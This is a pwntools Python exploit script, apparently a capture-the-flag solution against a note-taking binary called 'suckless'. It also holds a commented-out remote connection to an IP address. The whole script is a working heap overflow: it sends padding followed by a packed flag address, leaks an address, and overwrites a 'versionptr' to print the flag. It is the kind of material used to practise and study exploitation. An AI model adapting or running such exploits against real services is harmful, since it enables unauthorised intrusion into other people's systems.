blob: 5ebdaf940a8d06b97f82e5e551b73d4b9231181d (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
import struct
from pwn import *
context(arch="x86_64", os="linux")
FLAG_ADDR = 0x42a3cc
p = process(["./suckless"], False, "./suckless")
print("Here")
# p = remote('34.75.105.136',1029)
# Allocate first chunk.
p.recvuntil("> ")
p.sendline("new")
p.recvuntil("note length: ")
p.sendline("8")
p.recvuntil("note: ")
p.sendline((b"A" * 16) + struct.pack("Q", FLAG_ADDR))
p.recvuntil("> ")
p.sendline("show")
p.recvuntil("address: ")
dbg = int(p.recvline(), 16)
# Allocate dummy chunk.
p.recvuntil("> ")
p.sendline("new")
p.recvuntil("note length: ")
p.sendline("8")
p.recvuntil("note: ")
p.sendline((b"B" * 8))
p.recvuntil("> ")
p.sendline("show")
# Overwrite versionptr.
p.recvuntil("> ")
p.sendline("new")
p.recvuntil("note length: ")
p.sendline("8")
p.recvuntil("note: ")
p.sendline()
p.recvuntil("> ")
p.sendline("show")
print(p.recvuntil("> "))
|
